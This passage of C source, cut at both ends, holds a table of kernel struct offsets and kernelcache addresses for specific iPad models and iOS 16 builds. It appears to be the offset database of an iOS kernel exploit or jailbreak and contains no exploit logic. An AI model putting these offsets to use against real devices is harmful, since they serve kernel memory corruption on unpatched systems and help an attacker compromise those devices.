0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a19d208,\n                .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n                .kernelcache__ptov_table = 0xfffffff007877160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n                .kernelcache__vm_pages = 0xfffffff007873ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n            },\n\n                // iOS 16.4.1\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a19d208,\n                .kernelcache__gPhysBase = 0xfffffff0078c3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078c3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a1db500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n                .kernelcache__ptov_table = 0xfffffff007877160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1da990,\n                .kernelcache__vm_pages = 0xfffffff007873ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff007876110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1da988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a1a5288,\n                .kernelcache__gPhysBase = 0xfffffff0078c80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078c80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078c62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a1e3500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e59c8c,\n                .kernelcache__ptov_table = 0xfffffff00787b160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e2990,\n                .kernelcache__vm_pages = 0xfffffff007877ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00787a110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e2988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ea8ad8,\n            },\n\n            // iOS 16.6b1\n            {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,7\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n    \n    // iPad Gen 9th Wifi //\n\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad12,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a29d178,\n            .kernelcache__gPhysBase = 0xfffffff00784bb98,\n            .kernelcache__gPhysSize = 0xfffffff00784bb98 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849d78,\n            .kernelcache__perfmon_devices = 0xfffffff00a2d8370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007eb4bd8,\n            .kernelcache__ptov_table = 0xfffffff0077ff260,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2d7800,\n            .kernelcache__vm_pages = 0xfffffff0077fc088,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe210,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f06f14,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad12,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a2a5178,\n            .kernelcache__gPhysBase = 0xfffffff00784bc80,\n            .kernelcache__gPhysSize = 0xfffffff00784bc80 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849e60,\n            .kernelcache__perfmon_devices = 0xfffffff00a2e0370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ebcbe8,\n            .kernelcache__ptov_table = 0xfffffff0077ff2a0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2df800,\n            .kernelcache__vm_pages = 0xfffffff0077fc0c8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe250,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2df7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f0ef14,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:00 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad12,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a2a5178,\n            .kernelcache__gPhysBase = 0xfffffff00784bc80,\n            .kernelcache__gPhysSize = 0xfffffff00784bc80 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007849e60,\n            .kernelcache__perfmon_devices = 0xfffffff00a2e0370,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ebcbe8,\n            .kernelcache__ptov_table = 0xfffffff0077ff2a0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2df800,\n            .kernelcache__vm_pages = 0xfffffff0077fc0c8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe250,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2df7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f0ef14,\n        },\n\n        // iOS 16.5\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad12,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a36d288,\n            .kernelcache__gPhysBase = 0xfffffff007928010,\n            .kernelcache__gPhysSize = 0xfffffff007928010 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079261e8,\n            .kernelcache__perfmon_devices = 0xfffffff00a3ab4f0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ed75d0,\n            .kernelcache__ptov_table = 0xfffffff0078db178,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3aa990,\n            .kernelcache__vm_pages = 0xfffffff0078d7eb0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078da118,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3aa988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f2641c,\n        },\n\n        // iOS 16.6b1\n\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 